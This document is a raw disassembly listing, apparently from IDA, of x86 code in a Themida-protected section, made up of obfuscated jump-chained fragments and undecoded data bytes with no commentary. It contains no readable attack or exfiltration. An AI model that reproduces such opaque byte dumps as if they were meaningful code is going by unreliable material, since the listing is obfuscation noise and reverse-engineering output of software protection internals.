		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_62C6A4
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4BD5500h, 29000000h, 34875DEEh, 14895C24h, 4014E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62B622:				; CODE XREF: Themida_:006327E5j
		sub	bl, al
		pop	eax
		jmp	loc_6323DA
; ---------------------------------------------------------------------------


loc_62B62A:				; CODE XREF: Themida_:006321C9j
		xor	esi, 61CD1C07h
		shl	esi, 8
		jmp	loc_633DF4
; ---------------------------------------------------------------------------


loc_62B638:				; CODE XREF: Themida_:00630A90j
		add	ecx, 4C3B3E3Fh
		jmp	loc_62DA99
; ---------------------------------------------------------------------------


loc_62B643:				; CODE XREF: Themida_:0062BE75j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_62D636
; ---------------------------------------------------------------------------


loc_62B64E:				; CODE XREF: Themida_:00634F91j
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		push	7BA2h
		mov	[esp], ebp
		push	edx
		mov	edx, 2FD21613h
		jmp	loc_632790
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 88E9D6F7h, 52000041h, 1BD55h, 0EA890000h, 68242C8Bh
		dd 7EB6h, 57C6E9h, 24048B00h, 944CE9h
		db 0
; ---------------------------------------------------------------------------


loc_62B691:				; CODE XREF: Themida_:0062AE96j
		mov	[esp], esi
		jmp	loc_63176D
; ---------------------------------------------------------------------------
		db 59h,	1, 0EBh
		dd 7194C381h, 2C8B6BBEh, 4C48124h, 0E9000000h, 84FEh, 2404D366h
		dd 0D403E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62B6BA:				; CODE XREF: Themida_:0062DB6Cj
		add	eax, edi
		xor	[eax], esi
		pop	eax
		push	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3F3E6312h
		mov	eax, 3F3E6336h
		xor	eax, edi
		pop	edi
		sub	eax, 7C4E7451h
		add	eax, edi
		add	eax, 7C4E7451h
		jmp	loc_62B0F5
; ---------------------------------------------------------------------------
		db 81h
		dd 2404246Ch, 1638C75h,	8104246Ch, 24042444h, 8B638C75h
		dd 0F5E9242Ch, 68FFFFDBh, 4950h, 68241C89h, 462Dh, 4EC81h
		dd 24890000h, 24048324h, 24048F04h, 2B4EE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62B726:				; CODE XREF: Themida_:0062E1D2j
		mov	[esp], ecx
		jmp	loc_62B02B
; ---------------------------------------------------------------------------


loc_62B72E:				; CODE XREF: Themida_:00631A67j
		xor	edx, eax
		pop	eax
		xor	edx, 2CF6070Dh
		jmp	loc_631245
; ---------------------------------------------------------------------------
		dd 240C8B66h, 5B9768h, 242C8900h, 0FFEBE5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62B74D:				; CODE XREF: Themida_:0062D5EBj
		pop	edx
		jmp	loc_62D024
; ---------------------------------------------------------------------------


loc_62B753:				; CODE XREF: Themida_:0062E10Bj
		mov	[esp], eax
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_62937C
; ---------------------------------------------------------------------------


loc_62B769:				; CODE XREF: Themida_:00634DB7j
		neg	ebx
		not	ebx
		dec	ebx
		neg	ebx
		add	ebx, 928CAB0h
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_635269
; ---------------------------------------------------------------------------
		dd 9B04D800h, 0F8B35366h, 52E6B151h, 0EAC060B2h, 0E2D2E905h
		dd 0E62DFFFFh, 0C151075Dh, 0BD5506E8h, 10003A8Dh, 815DE801h
		dd 0CF23F3C5h, 44CBE933h, 90680000h, 89000000h,	15682434h
		dd 8B083A2Bh, 0C4812434h, 4, 0A6211A2Dh, 5F0016Ah, 6AA6211Ah
		dd 53DCE9h, 24148B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_629C64
; ---------------------------------------------------------------------------
		db 81h
		dd 1C2h, 4DEA8100h, 0E9E7248Ch,	0FFFFD4C4h, 4C581h, 0E9530000h
		dd 417Ah, 0FFD2A8E9h, 5FC968FFh, 0DAE90000h, 66000096h
		dd 96E99C50h, 59FFFFD2h, 0C15AD029h, 402D04E0h,	89A5D180h
		dd 15FCE9C7h, 0FF540000h, 0E95D2434h, 897Eh, 8105EDC1h
		dd 959869F5h, 2DBE5637h, 116831Ch, 0EB015EF3h, 1C2DEB81h
		dd 525D1683h, 2CBAh, 0E9FA0100h, 0FFFFD875h
; ---------------------------------------------------------------------------


loc_62B86C:				; CODE XREF: Themida_:0062D3FDj
		push	eax
		jmp	loc_631E0F
; ---------------------------------------------------------------------------


loc_62B872:				; CODE XREF: Themida_:0062C053j
		and	edx, 6C2C6C91h
		push	edx
		push	ebp
		push	eax
		jmp	loc_6296CC
; ---------------------------------------------------------------------------


loc_62B880:				; CODE XREF: Themida_:00633C48j
		sub	ebx, eax
		pop	eax
		add	ebx, 57DC6A70h
		sub	ebx, eax
		sub	ebx, 57DC6A70h
		jmp	loc_630D7B
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4, 15DEE89h,	26685EF5h, 89000008h, 6FE9242Ch, 4F000035h
		dd 22A4CF81h, 95E949B9h, 0B8000034h, 4BC7E3Bh, 0C1E9C589h
		dd 8000030h, 4FE95BD9h,	66000008h, 0E9240C8Bh, 51C6h, 2ACE956h
		dd 1C8B0000h, 4C48124h,	87000000h, 248B240Ch, 2434FF24h
		dd 68926858h, 34890000h, 50E68924h, 4B8h, 58C60100h, 4B951h
		dd 55510000h, 513BAB68h, 0ED815D2Ch, 0D84B30F6h, 0FFDD15E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62B91D:				; CODE XREF: Themida_:006309B5j
		mov	edx, 54F81A44h
		xor	edx, 0F6054F6h
		or	edi, edx
		jmp	loc_62C995
; ---------------------------------------------------------------------------


loc_62B92F:				; CODE XREF: Themida_:0062B33Dj
		pop	dword ptr [esp]
		pop	esp
		add	eax, 0FA80E7Eh
		jmp	loc_6349BD
; ---------------------------------------------------------------------------
		db 0BBh, 42h, 52h
		dd 0D8897F68h, 96E0D15Bh, 31F03146h, 0D1F031C6h, 5E8C1E8h
		dd 4F68E0D1h, 0E9000043h, 0FFFFF7A3h
; ---------------------------------------------------------------------------


loc_62B960:				; CODE XREF: Themida_:00630E4Aj
		add	esp, 4
		add	esp, 4
		and	ecx, ebp
		jmp	loc_62F9BB
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 59h
		dd 4E3B9814h, 6238EE81h, 0BA523E46h, 2D222998h,	8107EAC1h
		dd 0CDA84C2h, 10E5E935h, 0D8010000h, 7D07BE56h,	50E912C6h
		dd 57000062h, 0D2103BBFh, 2563B846h, 0F80125E8h, 36F5E95Fh
		dd 31580000h, 240C8BCAh, 0B04C483h, 9E840FC9h, 81000042h
		dd 4ECh, 4CDAE900h, 1CF70000h, 0EAE99C24h, 81FFFFD0h, 4C4h
		dd 6074E900h, 1580000h,	5EFDE9FEh, 0E9580000h, 0FFFFDE1Dh
		dd 4C481h, 0E9500000h, 932Ah, 9D1C77FFh, 11665866h, 0E99C2404h
		dd 75CDh
; ---------------------------------------------------------------------------


loc_62BA08:				; CODE XREF: Themida_:00634D70j
		mov	ch, 7
		neg	ch
		shr	ch, 2
		push	eax
		mov	al, 0EDh
		shr	al, 1
		add	al, 1
		not	al
		push	ecx
		mov	ch, 2Fh
		xor	ch, 0D5h
		inc	ch
		inc	ch
		jmp	loc_631B17
; ---------------------------------------------------------------------------
		db 5Dh
		dd 9302E3C1h, 0C3819348h, 6CC31D4Eh, 295BEA81h,	16E92D05h
		dd 8300005Ah, 0F56804C4h, 89000040h, 4682404h, 58000000h
		dd 48BC601h, 4C48124h, 87000000h, 5FE92434h, 0E9FFFFDDh
		dd 0FFFFD055h, 4055854h, 55000000h, 4BDh, 5DE80100h, 5C240487h
		dd 0E9E68956h, 0C8Ah
; ---------------------------------------------------------------------------


loc_62BA84:				; CODE XREF: Themida_:0062AEA2j
		pop	edx
		and	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_62E560
		push	559Ah
		mov	[esp], eax
		jmp	loc_62A5F4
; ---------------------------------------------------------------------------
		db 1, 0C1h, 81h
		dd 3A6F46E9h, 89BA5235h, 81237C67h, 354331EAh, 0FFC28120h
		dd 81FFFFFFh, 5ADC9CC2h, 5AD1293Eh, 0EAEDE958h,	2C8BFFFFh
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 4C581h
		dd 0C5830000h, 74FF5502h, 88E90424h, 5000086h, 4, 0FFE3A8E9h
		dd 0CB805AFFh, 18E9503Ah, 66FFFFE1h, 5324048Bh,	4CA268h
		dd 24248900h, 3BAEE9h
		db 0
; ---------------------------------------------------------------------------


loc_62BB1D:				; CODE XREF: Themida_:00629E72j
		sub	esp, 4
		jmp	loc_632325
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 4EE81h, 34330000h, 24343124h,	5C243433h
		dd 81242489h, 42404h, 815D0000h, 4C5h, 6E816800h, 85E90000h
		dd 41000057h, 78D4F181h, 0C38107CCh, 34D84265h,	0EB81CB29h
		dd 34D84265h, 0A9EB8159h, 2940655Dh, 0A9C381C3h, 0E940655Dh
		dd 608Bh
; ---------------------------------------------------------------------------


loc_62BB84:				; CODE XREF: Themida_:0062A995j
		inc	ebp
		jmp	loc_634E4A
; ---------------------------------------------------------------------------
		dw 91BEh
		dd 0F7527F59h, 0E1E681DEh, 5163EA67h, 604683B9h, 5B14E94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62BBA2:				; CODE XREF: Themida_:006343CFj
		and	esi, 147259D1h
		sub	esi, 67B76F30h
		sub	esi, 4E767B0Dh
		sub	ebx, esi
		pop	esi
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	1
		jmp	loc_630016
; ---------------------------------------------------------------------------
		dd 8131FF5Ch, 536C2434h, 3558047Ch, 47C536Ch, 4EC8359h
		dd 0E9240C89h, 135Bh, 0FF74CEB9h, 59CE013Bh, 475EF709h
		dd 74D8EF81h, 72E928DAh
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62BBFF:				; CODE XREF: Themida_:0062DFCEj
		xor	ecx, esi
		mov	esi, [esp]
		jmp	loc_629100
; ---------------------------------------------------------------------------


loc_62BC09:				; CODE XREF: Themida_:00634C73j
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		add	bl, al
		push	1969h
		mov	[esp], ecx
		mov	cl, 61h
		push	dx
		mov	dl, 6Fh
		and	cl, dl
		mov	dx, [esp]
		add	esp, 2
		not	cl
		jmp	loc_62B4E2
; ---------------------------------------------------------------------------
		db 58h
		dd 13E1ED81h, 0EB89E7C0h, 1C5F095Dh, 81241C8Bh,	4C4h, 62D7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62BC4E:				; CODE XREF: Themida_:00635259j
		mov	esi, [esp]
		add	esp, 4
		add	edx, edi
		jmp	loc_632E4E
; ---------------------------------------------------------------------------
		dd offset dword_57BA7C+0ECh
		align 10h
		dd 0B9240C89h, 6B092D10h, 33AAC181h, 0E1811A84h, 6FF41D1Bh
		dd 66C3E9h, 0FF565800h,	525E2404h, 0A36F3ABAh, 5AD6297Ch
		dd 7DAEED81h, 0D5E954ECh, 5400002Dh, 385F6858h,	0C890000h
		dd 3E31E924h, 8B660000h, 9682414h, 89000019h, 6DE9243Ch
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62BCB3:				; CODE XREF: Themida_:0062E685j
		mov	ebp, 88179Ah
		shr	ebp, 5
		jmp	loc_628E19
; ---------------------------------------------------------------------------
		dd 0EE81EE01h, 38F8384Dh, 83242C8Bh, 0C68104C4h, 11456714h
		dd 0EE81C601h, 11456714h, 5DAEBD55h, 0E5811C4Dh, 46090644h
		dd 4067F581h, 0EE296D6Eh, 83242C8Bh, 0EC8304C4h, 24348904h
		dd 68711EBEh, 67F68157h, 0C13F8B7Ah, 0ADE902E6h, 57000001h
		dd 0C781E789h, 4, 798AE9h, 4C48300h, 4C781h, 68520000h
		dd 7728h, 0B8240489h, 73F6679Bh, 5208E8C1h, 3981E9h, 66BF5700h
		dd 2971ED07h, 0C8B5FF8h, 3CEAE924h, 81420000h, 6964F6EAh
		dd 0A2F28141h, 423F5575h, 0BC63C281h, 0D009A8CFh, 6B892D5Ah
		dd 0C3010C3Eh, 5BDE8958h, 4EC81h, 4890000h, 0F73FE924h
		dd 5368FFFFh, 8900001Ah, 58BA2414h, 0E949A3D7h,	525h, 30C4F281h
		dd 0D5010171h, 0C8BB535Ah, 0C1734071h, 37E906EBh, 81FFFFEFh
		dd 557E17EBh, 20E9586Bh, 5F000013h, 5C241C87h, 4B30F66h
		dd 0FAE99C24h, 33FFFFCCh, 34312434h, 4C40E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62BDCE:				; CODE XREF: Themida_:00630C58j
		add	edi, 62335CDFh
		jmp	loc_634365
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0BBh
		dd 0E9438862h, 0A7Fh, 8904EC83h, 97BA2414h, 0E9339029h
		dd 0FFFFE2BAh, 33240431h, 248B2404h, 240C8924h,	0FFCCB8E9h
		dd 240C8BFFh, 104C483h,	0ED835EF5h, 74FF5504h, 34FF0424h
		dd 3D35E924h, 48B0000h,	28236824h, 1C890000h, 0E95B5424h
		dd 7E48h
; ---------------------------------------------------------------------------


loc_62BE30:				; CODE XREF: Themida_:0062962Dj
		xchg	ebx, [esp]
		jmp	loc_62DE5D
; ---------------------------------------------------------------------------
		dd 840FC00Bh, 138Ah, 8904EC83h,	0EC83241Ch, 24048904h
		dd 1CB8h, 0E9C38900h, 79B5h
; ---------------------------------------------------------------------------


loc_62BE58:				; CODE XREF: Themida_:0062B398j
		shr	edi, 6
		shl	edi, 4
		xor	edi, 7CE830DEh
		jmp	loc_6293C5
; ---------------------------------------------------------------------------
		db 0F7h, 14h, 24h
		dd 1CE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62BE72:				; CODE XREF: Themida_:00629EFFj
		xor	ebp, [esp]
		jmp	loc_62B643
; ---------------------------------------------------------------------------
		dd offset dword_5A8A7C+1ECh
		dw 8900h
		dd 4B9240Ch, 1000000h, 354E9CDh, 0F2810000h, 0E231FAB2h
		dd 34FFD689h, 24148B24h, 4C481h, 0C4830000h, 658AE904h
		dd 0BA520000h, 7D10E67h, 0C15AD589h, 0E95202E5h, 677Ah
		dd 60C768h, 241C8900h, 0BE246EBBh, 0F4E38107h, 815A5277h
		dd 4CD2E8EBh, 8BDE21C9h, 8950241Ch, 96BE56E0h, 811B2E30h
		dd 0CF25BAF6h, 26C6811Bh, 8113DB3Eh, 0A271EAE6h, 0C1CE813Bh
		dd 0C160D913h, 0F68102E6h, 0C3E54F08h, 0E95EF001h, 9049h
		dd 7DB368h, 243C8900h, 2E0FE9h,	0C8B6600h, 2C48324h, 2C3E9h
		dd 0E9F70100h, 0FFFFE4E4h, 0E9243487h, 25C7h, 53240429h
		dd 0FFF618E9h, 88C688FFh, 0E9F388D8h, 0FFFFD3EDh, 0A524EE0Ch
		dd 6040E9h, 0CF815800h,	557549B2h, 0E7D1D7F7h, 4F52F781h
		dd 55E9446Ch
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62BF67:				; CODE XREF: Themida_:0062EA63j
		or	esi, ecx
		pop	ecx
		jmp	loc_62FE20
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 27B6800h, 1E90000h, 55FFFFDFh,	20ABE956h, 0C4810000h
		dd 4, 791FE9h, 8CB85000h, 0E9385432h, 0FFFFF388h
; ---------------------------------------------------------------------------


loc_62BF9C:				; CODE XREF: Themida_:0062C0A6j
		mov	eax, 546203B6h
		sub	edi, eax
		pop	eax
		push	dword ptr [esp]
		pop	edx
		jmp	loc_629C37
; ---------------------------------------------------------------------------
		db 0C0h, 0E4h, 4
		dd 0F9B65266h, 5A66F430h, 9BE9E328h, 89000069h,	5BE9243Ch
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62BFC7:				; CODE XREF: Themida_:0063460Bj
		sub	dword ptr [esp], 5D7461Bh
		jmp	loc_629EE7
; ---------------------------------------------------------------------------
		db 1
		dd 0DDEB81C3h, 81095061h, 990984EBh, 4EC8335h, 646E9h
		db 0
; ---------------------------------------------------------------------------


loc_62BFE9:				; CODE XREF: Themida_:0062A3E7j
		mov	[esp], edx
		push	edi
		mov	edi, 7D652200h
		push	edi
		pop	edx
		pop	edi
		mov	ecx, 0EA47BB19h
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_63218A
; ---------------------------------------------------------------------------
		db 59h
		dd 0C058C288h, 29E904E2h, 56FFFFEAh, 0B420DEBEh, 0B6ABB12h
		dd 0F3317B3Fh, 0FF99B85Eh, 0D80110E2h, 51EFE95Bh, 0EC830000h
		dd 24348904h, 0FFBF5750h, 8159BF11h, 0AF3C88EFh, 85C78166h
		dd 815BA60Fh, 0AA6BE7C7h, 8135E922h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62C052:				; CODE XREF: Themida_:0063182Ej
		dec	edx
		jmp	loc_62B872
; ---------------------------------------------------------------------------


loc_62C058:				; CODE XREF: Themida_:0063274Ej
		pop	esp
		jmp	loc_62B07B
; ---------------------------------------------------------------------------
		dd offset dword_5CBE1C+4Ch
		dw 8900h
		dd 0C4B22414h, 18C068h,	241C8900h, 0CF80DBB7h, 3068E91Fh
		dd 77FF0000h, 59669D1Ch, 9C241CD3h, 0FFCA34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62C089:				; CODE XREF: Themida_:0062D41Dj
		add	edi, edx
		push	ebx
		mov	ebx, 51C559C6h
		neg	ebx
		push	esi
		mov	esi, 55374623h
		xor	ebx, esi
		pop	esi
		sub	ebx, 92F1BD5Eh
		sub	edi, ebx
		pop	ebx
		push	eax
		jmp	loc_62BF9C
; ---------------------------------------------------------------------------


loc_62C0AB:				; CODE XREF: Themida_:00632123j
		pop	esi
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	edx
		push	2BD5h
		mov	[esp], esi
		push	eax
		push	624F207Ah
		jmp	loc_631C5F
; ---------------------------------------------------------------------------


loc_62C0C7:				; CODE XREF: Themida_:00635030j
		mov	ecx, [esp]
		jmp	loc_634425
; ---------------------------------------------------------------------------
		db 5Dh
		dd 2434FF50h, 4C4815Dh,	8B000000h, 0C4832404h, 836DE904h
		dd 0C1290000h, 7565E9h
		db 0
; ---------------------------------------------------------------------------


loc_62C0ED:				; CODE XREF: Themida_:0062B3D7j
		sub	esp, 4
		jmp	loc_62E46E
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 2Ch
		dd 0FFC9C0E9h, 2434FFFFh, 0FFEC51E9h, 0D830ACFFh, 0E904EC83h
		dd 8C38h, 0FFC9A8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62C115:				; CODE XREF: Themida_:006324A1j
		pop	edx
		sub	[edi+24h], eax
		jmp	loc_634375
; ---------------------------------------------------------------------------
aASj8		db '/8',0
		align 2


loc_62C126:				; CODE XREF: Themida_:0062D454j
		pop	edi
		pop	esi
		neg	ecx
		neg	ecx
		shl	ecx, 6
		sub	ecx, 78A5182h
		jmp	loc_62ACF4
; ---------------------------------------------------------------------------


loc_62C13A:				; CODE XREF: Themida_:006306CCj
		xchg	ebp, [esp]
		jmp	loc_62F769
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 4EC8124h, 89000000h,	0B9512424h, 60F254EAh, 67DC181h
		dd 0D9F7407Ah, 0BE56E9D1h, 0C7C74C0h, 1485CE81h, 0E6815322h
		dd 46486F91h, 0F681DEF7h, 0B3319938h, 43E9F131h, 8900001Ch
		dd 0E9542414h, 0FFFFF651h, 348BF589h, 1B91E924h, 0C2290000h
		dd 413BC281h, 0E9585FF1h, 0FFFFC91Dh, 0C181E189h, 4, 4E981h
		dd 0C870000h, 34895C24h, 57E68924h, 0B43E66BFh,	4EC8338h
		dd 0B8240489h, 38B43E62h, 0FE9C731h, 1FFFFF8h, 7AC281C2h
		dd 50184200h, 8547D7B8h, 6608E921h, 0E9590000h,	0FFFFDBB6h
		dd 8904EC83h, 0ED682414h, 89000000h, 0C5B42404h, 80A8EC80h
		dd 0C4FE01E4h, 0C480D4F6h, 58E68851h, 8904EC83h, 0B7532414h
		dd 5BFE88ACh, 45AF028h,	2CF028DDh, 0D7EEE9DDh, 0E780FFFFh
		dd 183FE94Ah, 30AC0000h, 4EC83D8h, 0E9243C89h, 21D8h, 48BC101h
		dd 4C48324h, 8B240C87h,	0F662424h, 8953C8B6h, 575556E3h
		dd 0D934A6BFh, 0E41FE97Dh, 0AD66FFFFh, 13982D66h, 28792D66h
		dd 66D80166h, 56287905h, 63B56866h, 24348B66h, 5503E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62C27A:				; CODE XREF: Themida_:006350F4j
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_62D525
; ---------------------------------------------------------------------------


loc_62C287:				; CODE XREF: Themida_:0062F94Bj
		add	esp, 4
		push	6AFFh
		mov	[esp], ebx
		jmp	loc_62C39C
; ---------------------------------------------------------------------------
aRsse		db 'RE',0
		align 10h


loc_62C2A0:				; CODE XREF: Themida_:0062C8AEj
		shr	ah, 3
		jmp	loc_62B509
; ---------------------------------------------------------------------------
		dd 0CA2BCEBEh, 5EF12911h, 6680E9h, 32B70500h, 0D0291DA9h
		dd 0A932B72Dh, 2434FF1Dh, 5E54565Ah, 81CCE9h
		db 0
; ---------------------------------------------------------------------------


loc_62C2CD:				; CODE XREF: Themida_:0062E900j
		add	esp, 4
		pop	esi
		sub	eax, 2D0017D1h
		jmp	loc_63024F
; ---------------------------------------------------------------------------


loc_62C2DB:				; CODE XREF: Themida_:006306E6j
		inc	al
		jmp	loc_632219
; ---------------------------------------------------------------------------
		dw 6C81h
		dd 54CC0424h, 8B582D50h, 0C4832414h, 4C28104h, 83000000h
		dd 143302C2h, 24143124h, 8B241433h, 4202424h, 4AE99C24h
		dd 81FFFFCCh, 0BC368BE1h, 5EE98134h, 8159D509h,	32F6A1E9h
		dd 0EFB2E9A6h, 895CFFFFh, 0EC832414h, 24248904h, 4240483h
		dd 4C2815Ah, 51000000h,	663BE9h, 40476800h, 815D2A7Ch
		dd 4ECh, 24048900h, 6B43AFB8h, 0E309E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62C35A:				; CODE XREF: Themida_:00628E33j
		add	ebx, 2E4E3522h
		jmp	loc_631565
; ---------------------------------------------------------------------------
aSskb		db 'SKb',0
		dw 8100h
		dd 4C4h, 5246800h, 4890000h, 0A07E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62C37E:				; CODE XREF: Themida_:0062AF1Aj
		pop	esp
		and	eax, edx
		jmp	loc_6328A1
; ---------------------------------------------------------------------------
		dw 0CB01h
		dd 241C8759h, 48B665Ch,	1A13E924h, 0E95D0000h, 48F7h
; ---------------------------------------------------------------------------


loc_62C39C:				; CODE XREF: Themida_:0062C295j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_62A71C
; ---------------------------------------------------------------------------
aRKXTH		db 'RK<X',7,'h',0
		align 4
		dd 8B241429h, 0C4832414h, 0A3F28104h, 298AB387h, 814F5AD7h
		dd 0E4BAD0EFh, 8BF8210Bh, 0C483243Ch, 1C77FF04h, 0C9242C81h
		dd 0FF346E73h, 53592434h, 0C381E389h, 4, 8704C383h, 69E9241Ch
		dd 58000027h, 3F0468h, 240C8900h, 8957E189h, 4C781E7h
		dd 83000000h, 53E904EFh, 8100000Ah, 2D1041EBh, 81C30146h
		dd 2D1041C3h, 5E86E946h, 6C810000h, 62520824h, 4C293CD5h
		dd 44810824h, 62520824h, 0F8E93CD5h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62C443:				; CODE XREF: Themida_:00630971j
		push	edi
		jmp	loc_62F9DA
; ---------------------------------------------------------------------------
aHcw		db '^hW',0
		dw 0E900h
		dd 5907h, 0BB53E589h, 4A056922h, 0F381DBF7h, 58067A1Ah
		dd 2E8FE9h, 4BB5300h, 0E9000000h, 2FD1h
; ---------------------------------------------------------------------------


loc_62C474:				; CODE XREF: Themida_:0062AC70j
		push	3CDEh
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_62D489
; ---------------------------------------------------------------------------
		db 87h
		dd 895C241Ch, 0D8E9241Ch, 89FFFFFAh, 41E92414h,	66000016h
		dd 52240489h, 8081B353h, 9E9A4C3h, 8100003Bh, 0E65F97C3h
		dd 0EFF3814Eh, 14E909Dh, 0C8295BD9h, 30F7E9h
		db 0
; ---------------------------------------------------------------------------


loc_62C4D5:				; CODE XREF: Themida_:0062B5ABj
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_631078
; ---------------------------------------------------------------------------


loc_62C4F1:				; CODE XREF: Themida_:0062D762j
					; Themida_:0062DBE8j ...
		push	7EF4h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_631429
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 4C24h, 240C8B66h, 5BCF68h, 8CB9E900h, 0DDF70000h
		dd 63AEE581h, 0F0E92E00h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62C527:				; CODE XREF: Themida_:00631A12j
		shl	eax, 4
		jmp	loc_633607
; ---------------------------------------------------------------------------


loc_62C52F:				; CODE XREF: Themida_:0063500Aj
		mov	[esp], edi
		jmp	loc_62F355
; ---------------------------------------------------------------------------
		db 66h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_634C67
; ---------------------------------------------------------------------------
		db 31h
		dd 24348BF2h, 5267E9h, 24048700h, 2CD3665Ch, 62E99C24h
		dd 51FFFFC5h, 78E968B5h, 8100001Dh, 83135AEBh, 5BDF89DFh
		dd 299CE781h, 0F781066Ch, 5FB5041Eh, 0F781D7F7h, 0D413F9DCh
		dd 0F75FFA21h, 1EA83D2h, 5ED1B951h, 0C9812390h,	26454E51h
		dd 5FD8E981h, 0CA315A19h, 7C57E9h
		db 0
; ---------------------------------------------------------------------------


loc_62C5A1:				; CODE XREF: Themida_:0062EFA2j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		movzx	ax, byte ptr [eax]
		jmp	loc_6311A9
; ---------------------------------------------------------------------------
		db 81h
		dd 22EEB4F2h, 5AD701D5h, 0D7F7D7F7h, 0D1A1EF81h, 0FB01E275h
		dd 74FF535Fh, 1C8B0424h, 4C48324h, 5C24048Fh, 8904EC83h
		dd 0BF57241Ch, 0BB7073Ah, 575FFB89h, 994C2CBFh,	0D8E94F60h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62C5F3:				; CODE XREF: Themida_:0062D5E3j
		shl	eax, 8
		shl	eax, 5
		add	eax, 5D22C7AEh
		sub	esi, eax
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_628BDD
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 7386h, 1E41E9h, 241C3300h, 6624248Bh, 66241489h
		dd 8EE99C50h, 89FFFFC4h, 5CBD242Ch, 0F7109C59h,	5E5C1DDh
		dd 0FFF203E9h, 88C681FFh, 2925DF98h, 0E9565EF0h, 5017h
		dd 0E904EF83h, 224h, 38CD68h, 240C8900h, 0CA685355h, 8B28073Ch
		dd 0C483241Ch, 0F91FE904h, 0C180FFFFh, 59C800F8h, 685B6659h
		dd 5C80h, 320EE9h, 48B6600h, 367B6824h,	4890000h, 50E08924h
		dd 0B9515854h, 4, 0E959C801h, 69A4h
; ---------------------------------------------------------------------------


loc_62C6A4:				; CODE XREF: Themida_:0062B602j
		push	esi
		mov	esi, 16DA4F4Fh
		add	ebp, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_6342EB
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 34F2E9h, 81F30100h, 0B80245EBh, 75EB8126h, 5E14BF2Dh
		dd 0C1D3F74Bh, 0EB8102E3h, 0DE226B02h, 875BDF01h, 248B243Ch
		dd 0F9F76624h, 527968h,	24348900h, 0A7E9E689h, 83FFFFFBh
		dd 0B0E904E8h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62C6FB:				; CODE XREF: Themida_:006305B5j
		not	dword ptr [esp]
		pop	edi
		jmp	loc_62F5ED
; ---------------------------------------------------------------------------


loc_62C704:				; CODE XREF: Themida_:00631D23j
		mov	ebp, 44817DC5h
		jmp	loc_631AD6
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 8704C683h, 0DBE92434h, 66000027h,	2C8B665Fh, 44B36824h
		dd 14890000h, 575A5424h, 4BFh, 0E9FA0100h, 1802h
; ---------------------------------------------------------------------------


loc_62C73C:				; CODE XREF: Themida_:0062A75Dj
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_630097
; ---------------------------------------------------------------------------
		db 0B9h, 43h, 35h
